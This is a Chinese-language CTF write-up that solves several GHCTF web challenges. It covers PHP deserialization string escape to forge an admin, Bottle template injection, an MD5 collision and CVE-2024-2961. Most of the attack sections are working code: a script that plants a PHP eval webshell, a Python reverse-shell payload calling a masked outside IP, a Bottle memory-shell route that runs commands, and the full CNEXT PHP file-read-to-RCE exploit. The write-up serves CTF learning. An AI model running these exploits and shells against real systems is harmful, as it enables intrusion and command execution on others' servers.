$decodedToken = base64_decode($token);
list($serializedData, $providedSignature) = explode('|', $decodedToken);

// 重新计算签名
$calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);

// 比较签名是否一致
if ($calculatedSignature === $providedSignature) {
// 签名验证通过,返回序列化的数据
return $serializedData; // 反序列化数据
} else {
// 签名验证失败
return false;
}
}
return false; // 如果没有 Cookie
}

// 示例:验证并读取 Cookie
$userData = checkSignedCookie();
if ($userData) {
#echo $userData;
$user=unserialize($userData);
#var_dump($user);
if($user->isadmin){

可以知道首先是获得session然后解密,将解密内容进行反序列话,然后调用反序列化实例的isadmin方法。首先我们不知道密钥值是多少所以无法直接通过伪造sseion来伪造admin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function login($db,$username,$password)
{
$data=$db->query("SELECT * FROM users WHERE username = ?",[$username]);

if(empty($data)){
die("<script>alert('用户不存在')</script><script>window.location.href = 'index.html'</script>");
}
if($data[0]['password']!==md5($password)){
die("<script>alert('密码错误')</script><script>window.location.href = 'index.html'</script>");
}
if($data[0]['username']==='admin') {
$user = new User($username, true);
}
else{
$user = new User($username, false);
}
return $user;
}

function setSignedCookie($serializedData, $cookieName = 'user_token', $secretKey = 'fake_secretKey') {
$signature = hash_hmac('sha256', $serializedData, $secretKey);

$token = base64_encode($serializedData . '|' . $signature);

setcookie($cookieName, $token, time() + 3600, "/"); // 设置有效期为1小时
}

$User=login($SQL,$username,$password);

$User_ser=waf(serialize($User));

setSignedCookie($User_ser);
1
O:4:"User":2:{s:8:"username";s:5:"asdwd";s:7:"isadmin";b:1;}

那么我们输入的username就应该是xxxxxx”;s:7:”isadmin”;b:1;}。前面的xxxxx经过waf后会变多21个从而把后面的";s:7:"isadmin";b:1;}逃逸出去
那么xxxx就可以是flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag。21个flag会被替换成21个error。

反序列化逃逸的具体原理可以看我以前学习的文章php反序列化之字符串逃逸

那么思路就很清晰了,我们注册一个字符串逃逸伪造admin的用户名如下

1
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;}

然后用这个用户名登陆,就可以成功伪造admin,然后就是文件写入命令执行

exp

exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
def exp(url):
data={"username":'flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;}',"password":"123456"}
r=requests.post(url+"register.php",data=data)
#print(r.text)

session = requests.Session()
login_response = session.post(url+"login.php", data=data)

shell={"filename":"php://filter/convert.base64-decode/resource=/var/www/html/shell.php","txt":"aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg=="}
protected_response = session.post(url+"dashboard.php",data=shell)
response = requests.post(url+"shell.php",data={"123":"system('cat /flag');"})
print(response.text)

if __name__=="__main__":
url="http://node2.anna.nssctf.cn:28932/"
exp(url)

Message in a Bottle

这道题目其实是我之前在打VN时想到的一个非预期,看了一下好像没用几个师傅和我做法一样我就干脆把这个思路出成题来给师傅们做一下。


首先我们可以看到其是一个模板的渲染


直接将我们输入的message进行拼接,其waf只过滤了{这时候有不少师傅被误导以为这题要打xss了其实不然。

我们看bottle框架的官方文档可以发现


在SimpleTemplate模板下我们可以使用%来执行python代码。
这样就可以绕过{了,但是我们的%所在的那一行%的前面只能有空白字符,我们直接换行即可

payload

弹shell

1
%__import__('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"111.xxx.xxx.xxx\",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'").read()

内存马

网上关于bottle框架内存马的文章其实已经有了探寻Bottle框架内存马
我们只要简单改一下,获取一下app就可以在这题使用

1
2
3
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('lalala')).read())

Message in a Bottle plus

上面那道题目因为是白盒而且,因为我之前并不知道这次的GHCTF会办公开赛所以难度并没有出的太高。

所以就有了这题,但其实也没加多少东西(怕加太多被师傅们骂)所以就加了个waf和语法检测

先给师傅们看看waf和语法检测的逻辑吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
def waf(message):
# 保留原有基础过滤
filtered = message.replace("{", "").replace("}", "").replace(">", "").replace("<", "")

# 预处理混淆特征
cleaned = re.sub(r'[\'"`\\]', '', filtered) # 清除引号和反斜杠
cleaned = re.sub(r'/\*.*?\*/', '', cleaned) # 去除注释干扰

# 增强型sleep检测正则(覆盖50+种变形)
sleep_pattern = r'''(?xi)
(
# 基础关键词变形检测
\b
s[\s\-_]*l[\s\-_]*e[\s\-_]*e[\s\-_]*p+ # 允许分隔符:s-l-e-e-p
| s(?:l3|1|i)(?:3|e)(?:3|e)p # 字符替换:sl33p/s1eep
| (?:sl+e+p|slee+p|sle{2,}p) # 重复字符:sleeeeep
| (?:s+|5+)(?:l+|1+)(?:e+|3+){2}(?:p+|9+) # 全替换变体:5l33p9

# 模块调用检测(含动态导入)
| (?:time|os|subprocess|ctypes|signal)\s*\.\s*(?:sleep|system|wait)\s*\(.*?\)
| __import__\s*\(\s*[\'"](?:time|os)[\'"]\s*\)\.\s*\w+\s*\(.*?\)
| getattr\s*\(\s*\w+\s*,\s*[\'"]sleep[\'"]\s*\)\s*\(.*?\)

# 编码检测(Hex/Base64/URL/Unicode)
| (?:\\x73|%73|%u0073)(?:\\x6c|%6c|%u006c)(?:\\x65|%65|%u0065){2}(?:\\x70|%70|%u0070) # HEX/URL编码
| YWZ0ZXI=.*?(?:c2xlZXA=|czNlM3A=) # Base64多层编码匹配(sleep的常见编码)
| %s(l|1)(e|3){2}p% # 混合编码

# 动态执行检测(修复括号闭合)
| (?:eval|exec|compile)\s*\(.*?(?:sl(?:ee|3{2})p|['"]\\x73\\x6c\\x65\\x65\\x70).*?\)

# 系统调用检测(Linux/Windows)
| /bin/(?:sleep|sh)\b
| (?:cmd\.exe\s+/c|powershell)\s+.*?(?:Start-Sleep|timeout)\b

# 混淆写法
| s\/leep\b # 路径混淆
| s\.\*leep # 通配符干扰
| s<!--leep # 注释干扰
| s\0leep # 空字节干扰
| base64
| base32
| decode
| \+
)
'''



if re.search(sleep_pattern, cleaned):
return "检测到非法时间操作!"
if re.search('eval', cleaned):
return "eval会让我报错"

# AST语法树检测增强
class SleepDetector(ast.NodeVisitor):
def visit_Call(self, node):
if hasattr(node.func, 'id') and 'sleep' in node.func.id.lower():
raise ValueError

if isinstance(node.func, ast.Attribute):
if node.func.attr == 'sleep' and \
isinstance(node.func.value, ast.Name) and \
node.func.value.id in ('time', 'os'):
raise ValueError

self.generic_visit(node)

try:
tree = ast.parse(filtered)
SleepDetector().visit(tree)
except (SyntaxError, ValueError):
return "检测某种语法错误,防留言板报错系统启动"

return filtered

虽然前面的黑名单横很长但是因为我是让ai给我写的黑名单,我测了一下发现,啥也防不住。如果不是后面简单自己加了点关键字师傅们靠拼接都能绕过去。这个waf也主要是为了防止师傅们盲注,但是如果愿意绕还是能绕的。

白名单之后其实就加了一些AST的语法检测。在我们语法报错的时候会变量替换

当我们还按照上题的思路来打的时候

1
% print(1)

其就会触发语法错误。因为在python里%print这本身就是一个错误的语法,为了让他可以通过语法检测然而语法检测这种东西肯定针对的是代码,那么我们将他变成字符串就可以了。

所以用引号包裹就可以绕过ast的检测

所以用引号包裹就可以绕过ast的检测

1
2
3
'''
% print(1)
'''

可以发现没有语法报错%print(1)也消失了,证明被模板引擎当成了python代码。

但是这个环境是不出网的所以我们需要使用内存马。这就是为什么我要在前面的waf拦sleep(但好像还是可以轻松绕过)

1
2
3
4
5
'''
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('lalala')).read())
'''

打内存马的poc如下

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
def exp(url):
payload="""
'''
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('lalala')).read())
'''
"""
data = {"message":payload}
print(payload)
re=requests.post(url+"submit",data=data)
print(re.text)
if __name__=="__main__":
url="http://node4.anna.nssctf.cn:28619/"
exp(url)

ez_readfile

MD5强碰撞

网络搜索

网上随便找一个文章就能绕过。https://blog.csdn.net/m0_73818134/article/details/131793815

fastcoll

使用工具fastcoll(下载地址为https://marc-stevens.nl/research/hashclash/在**Software Downloads那下载)

写一个简易的python脚本(代码有点烂,但不影响功能)方便我们后续直接使用该软件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import os
from time import sleep
from urllib.parse import quote
import hashlib

os.system("del test.txt")
os.system("del test_msg1.txt")
os.system("del test_msg2.txt")

s = "12" #明确以什么开头

fw = open("test.txt", "w")
fw.write(s)
fw.close()

os.system("fastcoll_v1.0.0.5.exe test.txt")

fr1 = open("test_msg1.txt", "rb")
fr2 = open("test_msg2.txt", "rb")
msg1 = fr1.read()
msg2 = fr2.read()
fr1.close()
fr2.close()

# 文件的二进制形式输出
# print(msg1)
# print(msg2)

# URL编码输出
print(quote(msg1))
print(quote(msg2))

os.system("del test.txt")
os.system("del test_msg1.txt")
os.system("del test_msg2.txt")

使用产生的两个值碰撞成功

文件读取利用

接下来有两种解法,一个是直接进行目录遍历,一个是直接使用CVE-2024-2961漏洞实现命令执行。

敏感文件读取

第一种解法,有出过题的,大部分都是采用https://github.com/CTF-Archives/ctf-docker-template这里面的模版。一般出题过程中,为了方便,不去修改dockerfile文件,都会直接在容器内修改,然后再commit生成镜像。

里面的php出题模版中,有一个容器启动命令文件docker-entrypoint.sh。可以看到该命令文件在容器初始化后就会被删掉。但是在提交生成镜像后,由镜像生成容器又需要运行该文件。因此有的出题者为了方便可能就不删除该文件,这时候就可以碰碰运气,看看出题者有没有把这个文件删掉。没有删掉,就能够获取路径。

因此,在这里直接尝试读取docker-entrypoint.sh文件,可以发现该文件将flag变量输入到了/f1wlxekj1lwjek1lkejzs1lwje1lwesjk1wldejlk1wcejl1kwjelk1wjcle1jklwecj1lkwcjel1kwjel1cwjl1jwlkew1jclkej1wlkcj1lkwej1lkcwjellag。

尝试读取该文件,获取得到flag

CVE-2024-2961

有两个脚本,一个是官方脚本

官方脚本

在这里只需要修改(如果我没记错的话)send函数(请求包的参数设置),download函数(内容的正则匹配),将check_vulnerable函数中的部分failure函数的调用换成pass(使用时,会吞字符,但不影响漏洞利用。具体原因笔者太菜,不清楚),即可正常运行脚本。由于笔者最近有事要忙,没时间写更多细节,这里就直接放脚本。

web目录没有写权限,该漏洞不回显,因此只能通过反弹shell或外带的方式进行利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#
# REQUIREMENTS
#
# Requires ten: https://github.com/cfreal/ten
#

from __future__ import annotations

import base64
import zlib

from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError
from urllib.parse import unquote
from base64 import b64decode
from pwn import *
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


class Remote:
"""A helper class to send the payload and download files.

The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.

The code here serves as an example that attacks a page that looks like:

```php
<?php

$data = file_get_contents($_POST['file']);
echo "File contents: $data";
```

Tweak it to fit your target, and start the exploit.
"""

def __init__(self, url: str) -> None:
self.url = url
self.session = Session()

def send(self, path: str) -> Response:
return self.session.post(
self.url,
params={"file": path},
data={
"a": b64decode("cHN5Y2hvCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFetWq88ihNWtZYYbaXqMoFf+9kkIi+P1ESiN3ZYuAjXbSzg1ExS1/tvEHQZAoJ9eyubdAX/bK6NRfQfhDyuAQ+bEtSBpUr5SA95RSrcK7G0D95jQ0DaMjmLwwB/i19oxtOLZDivhXwUdwbCOkO8DBv9u5jOFs63tjrzmbU5+f/C"),
"b": b64decode("cHN5Y2hvCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFetWq88ihNWtZYYbaXqMoFf+9mkIi+P1ESiN3ZYuAjXbSzg1ExS1/tvEHQZAgJ+eyubdAX/bK6NRfQfBDyuAQ+bEtSBpUr5SA95RSrcK7G0D95jw0DaMjmLwwB/i19oxtOLZDivhXwUdwbCOkM8DBv9u5jOFs63tjrzmTU5+f/C")
},
headers={"Content-Type": "application/x-www-form-urlencoded"}
)

def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"<\/code>([\s\S]*)", flags=re.S).group(1)
print(response.text)
return base64.decode(data)

@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""

url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20

def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)

def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""

def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")


def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return text.encode() == result

text = tf.random.string(50).encode()
base64 = b64(text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"
result = safe_download(path)

if text not in result:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")


msg_info("The [i]data://[/] wrapper works")

text = tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
pass

msg_info("The [i]php://filter/[/] wrapper works")

text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

if not check_token(text, path):
pass

msg_info("The [i]zlib[/] extension is enabled")

msg_success("Exploit preconditions are satisfied")

def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)

def get_regions(self) -> list[Region]:
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
maps = self.get_file("/proc/self/maps")
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
failure("Unable to parse memory mappings")

self.log.info(f"Got {len(regions)} memory regions")

return regions

def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()

LIBC_FILE = "/dev/shm/cnext-libc"

# PHP's heap

self.info["heap"] = self.heap or self.find_main_heap(regions)

# Libc

libc = self._get_region(regions, "libc-", "libc.so")

self.download_file(libc.path, LIBC_FILE)

self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start

def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")

return region

def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
Path(local_path).write(data)

def find_main_heap(self, regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path == ""
]

if not heaps:
failure("Unable to find PHP's main heap in memory")

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")

return first

def run(self) -> None:
self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()

def build_exploit_path(self) -> str:
"""On each step of the exploit, a filter will process each chunk one after the
other. Processing generally involves making some kind of operation either
on the chunk or in a destination chunk of the same size. Each operation is
applied on every single chunk; you cannot make PHP apply iconv on the first 10
chunks and leave the rest in place. That's where the difficulties come from.

Keep in mind that we know the address of the main heap, and the libraries.
ASLR/PIE do not matter here.

The idea is to use the bug to make the freelist for chunks of size 0x100 point
lower. For instance, we have the following free list:

... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00

By triggering the bug from chunk ..900, we get:

... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???

That's step 3.

Now, in order to control the free list, and make it point whereever we want,
we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
That's step 2.

Now, if we were to perform step2 an then step3 without anything else, we'd have
a problem: after step2 has been processed, the free list goes bottom-up, like:

0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900

We need to go the other way around. That's why we have step 1: it just allocates
chunks. When they get freed, they reverse the free list. Now step2 allocates in
reverse order, and therefore after step2, chunks are in the correct order.

Another problem comes up.

To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
Since step2 creates chunks that contain pointers and pointers are generally not
UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
To avoid this, we put the chunks in step2 at the very end of the chain, and
prefix them with `0\n`. When dechunked (right before the iconv), they will
"disappear" from the chain, preserving them from the character set conversion
and saving us from an unwanted processing error that would stop the processing
chain.

After step3 we have a corrupted freelist with an arbitrary pointer into it. We
don't know the precise layout of the heap, but we know that at the top of the
heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
Its free_slot[] array contains a pointer to each free list. By overwriting it,
we can make PHP allocate chunks whereever we want. In addition, its custom_heap
field contains pointers to hook functions for emalloc, efree, and erealloc
(similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
then overwrite the use_custom_heap flag to make PHP use these function pointers
instead. We can now do our favorite CTF technique and get a call to
system(<chunk>).
We make sure that the "system" command kills the current process to avoid other
system() calls with random chunk data, leading to undefined behaviour.

The pad blocks just "pad" our allocations so that even if the heap of the
process is in a random state, we still get contiguous, in order chunks for our
exploit.

Therefore, the whole process described here CANNOT crash. Everything falls
perfectly in place, and nothing can get in the middle of our allocations.
"""

LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)

# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)

step4_use_custom_heap_size = 0x140

COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"

assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",

# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",

# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",

# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",

# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",

# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"

return path

@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()

try:
self.remote.send(path)
except (ConnectionError, ChunkedEncodingError):
pass

msg_print()

if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

msg_print()


def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload.encode()


def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
"""A memory region."""

start: int
stop: int
permissions: str
path: str

@property
def size(self) -> int:
return self.stop - self.start


Exploit()

反弹成功,成功获取flag

kezibei脚本

https://github.com/kezibei/php-filter-iconv

该脚本只要当前目录中有目标靶机的/proc/self/maps和libc.so文件,即可将payload跑出来,让我们自己去运行。

payload会随着当前maps的变化而变化,因此payload并不是固定的,这里就不公布我的payload了

出题想法:

刚开始的时候,本来是办校内赛,并没有打算面向校外。在寒假给学弟学妹作培训的时候,我提到了这一整道题的全部考点,但对于哈希碰撞和CVE-2024-2961我并没有细讲,打算让学弟学妹们自己去学。同时,这一道题,在去年校赛中,已经出过类似的了。从去年的办赛情况来看,题目出得太过于创新,结果把整个年级都给创死了。

因此,这道题一开始,其实是打算按简单题来出的,又担心学弟学妹复现不了CVE-2024-2961,因此在根目录留下了docker-entrypoint.sh的文件,方便后面如果校内持续爆0,直接让学弟学妹直接跳过CVE-2024-2961,转变为对敏感文件的爆破,也就是ez_readfile。

然后,校内赛准备开赛前几天,突然告知要办公开赛,由于最近忙着处理一些事情,无暇关系题目情况。因此,敏感文件读取就不修复了。

CVE-2024-2961为预期解法,敏感文件读取为非预期解法。